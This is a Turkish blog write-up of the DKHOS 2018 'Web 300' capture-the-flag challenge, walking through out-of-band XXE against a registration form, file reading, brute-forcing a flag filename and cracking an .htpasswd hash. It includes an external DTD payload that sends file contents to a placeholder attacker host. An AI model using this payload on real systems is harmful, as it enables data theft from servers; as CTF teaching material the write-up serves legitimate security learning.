Background Image

BLOG

DKHOS - Web 300 - At
17 Şubat 2018 CTF

DKHOS - Web 300 - At


Bu soruda http://54.227.36.103/ adresi ziyaret edildiğinde yarışmacıları bir kayıt formu karşılıyor.

Keşif

Sayfanın kaynağı veya giden istek incelenerek girilen bilgilerin sunucuya XML formatında gönderildiği görülür.

Bu noktada yarışmacıların aklına OWASP Top 10'de 4. sırada bulunan XXE zafiyeti gelmeliydi. Fakat her ne kadar bir XXE zafiyeti olduğu tahmin edilse de, ilk aşamada zafiyeti tespit etmek kullanıcının girdiği hiçbir girdi ekrana basılmadığı için kolay olmayacaktı. Sadece "Sorry, this email is already registered!" hatası ile karşılaşılacaktı.

Bu tarz durumlarda zafiyeti tespit etmek için farklı kanallardan geribildirim almak gerekebilmektedir. Sunucunun bir HTTP isteği göndermesini veya bir DNS sorgusu çalıştırmasını sağlamak gibi yöntemler kullanılabilirdi.

Örneğin xx.xx.xx.xx adresli bir sunucuya sahip olduğumuzu düşünelim. Yeni bir XML Entity tanımı yapıp hedef sunucunun http://xx.xx.xx.xx/invictus adresine bir istek atmasını sağlayalım:

Bu isteğin başarılı olup olmadığını kontrol etmek için xx.xx.xx.xx adresli sunucudaki access.log incelenir:

Görüldüğü gibi istek başarılı. Bu da bize Out-of-Band XXE zafiyetinin olduğunu gösterir.

Exploitation

Sistemde kod çalıştırmak mümkün olmasa da, dosya okunabilmekteydi. Dosya okumak için öncelikle aşağıdaki gibi bir external DTD oluşturulup bir uzak sunucuda host edilir.

<!ENTITY % dkhos "<!ENTITY &#37; yolla SYSTEM 'http://saldırganın_IP_adresi/?parametre=%dosya;'>"> %dkhos;

Bu DTD dosyasının http://saldırganın_IP_adresi/xxe.dtd konumunda host edildiğini varsayalım. Aşağıdaki istek sunucuya gönderilir:

Bu istek sunucuya ulaştığında olacakları özetlemek gerekirse; 

  • XML parser önce "C:/windows/system.ini" dosyasını yükleyen %dosyaisimli entity'yi işleyecektir.
  • Sonra, saldırganın host etiği "http://saldirganin_IP_adresi/xxe.dtd" adresindeki DTD'ye bir istek yapacaktır.
  • Saldırganın DTD'si işlendikten sonra, %dkhos isimli entity işlenecek ve dosya içeriğini base64'e encode edip URL'e ekleyen (örn. http://saldirganin_IP_adresi/?parametre=OyBmb3IgMTYtYml0IGFwcCBzdXBwb3J0... gibi) %yolla isimli bir entity oluşturacaktır.
  • Son olarak, &yolla isimli entity işlenecek ve oluşturulan URL'e bir istek yapılacaktır.

Yarışmacı isteği gönderdikten sonra, sunucudaki erişim log'larını inceleyerek dosya içeriğini elde edecektir.

Erişim log'u incelendiğinde saldırgan aşağıdaki istekleri görecektir:

2. istekteki "parametre" parametresinin değeri base64 decode işleminden geçirildiğinde hedef sunucudaki "C:/windows/system.ini" dosyasının içeriği elde edilecektir.

Peki Flag Nerede?

Yarışmacıların sayfa kaynağı inceleyerek veya Dirbuster ve Wfuzz gibi araçları kullanarak /js klasörünü keşfetmesi beklenmekteydi.

"js" klasörüne girildiğinde yarışmacı "files.txt" dosyası ile karşılaşacaktı.

Dosya içeriği görüntülendiğinde, C:\Windows klasörünün içeriği listelenmekteydi. Burada isminde flag geçen bir txt dosyası bulunmaktaydı fakat dosya ismi regex olarak verilmişti:

Bu aşamada dosya adının "flag_" + <4 adet sayı> + <4 adet harf> ".txt" şeklinde olduğunu yarışmacıların düşünmesi beklenmekteydi. (Örneğin flag_1234abcd.txt)

Kaba kuvvet saldırısı ile dosya ismini elde etmek gerekmektedir. Burp Suite içindeki Intruder aracı bu iş için kullanılabilir. Dosya isminin rakamlardan oluşan bölümü ve harflerden oluşan bölüm ayrı payload pozisyonları olarak seçilir ve atak tipi olarak "Cluster bomb" seçilir.

İlk payload pozisyonu için sadece 4 haneli sayılar seçilir:

İkinci payload pozisyonu için ise harfler seçilir:

Sonrasında kaba kuvvet saldırısı başlatılır ve erişim loglarına flag'in düşmesi beklenir.

Alternatif Çözüm

Bir önceki çözüm teoride işe yarasa da pratikte çok zaman alacak bir yöntem olduğundan yarışmacıları alternatif bir yöntem aramaya itmeliydi.

Yarışmacıların yine Dirbuster ve Wfuzz gibi araçlar ile alt klasörler taranarak /flag klasörü keşfetmesi bekleniyordu. Fakat http://54.227.36.103/flag adresine gidildiğinde HTTP basic authentication olduğu görülecekti.

XXE zafiyeti sayesinde "C:\xampp\htdocs\.htpasswd" dosyası okunur:

stalker:$apr1$izrgXKZ1$0fVgd1MIioC14JG6VYwTw/

Daha sonrasında bu hash'i John the Ripper gibi araçlar ve CTF'lerin vazgeçilmezi olan rockyou.txt ile kırmanız beklenmekteydi.

Elde edilen kullanıcı adı ve parola ikilisi ile oturum açıldığında ise /flag dizininde bizi bir resim dosyası karşılayacaktı. Dosyanın adına dikkat edildiğinde ise flag'i içeren dosyanın adı ile aynı olabileceği akıllara gelmeliydi:

XXE zafiyetinden faydalanarak "C:\Windows\flag_3289erpd.txt" dosyası okunur:

Erişim log'una bakıldığında aşağıdaki isteklerin log'a düştüğü görülür:

Elde edilen base64 string decode işleminden geçirildiğinde flag elde edilir:

Flag: DKHOS_{v4yT_c4kl1t_m0k4}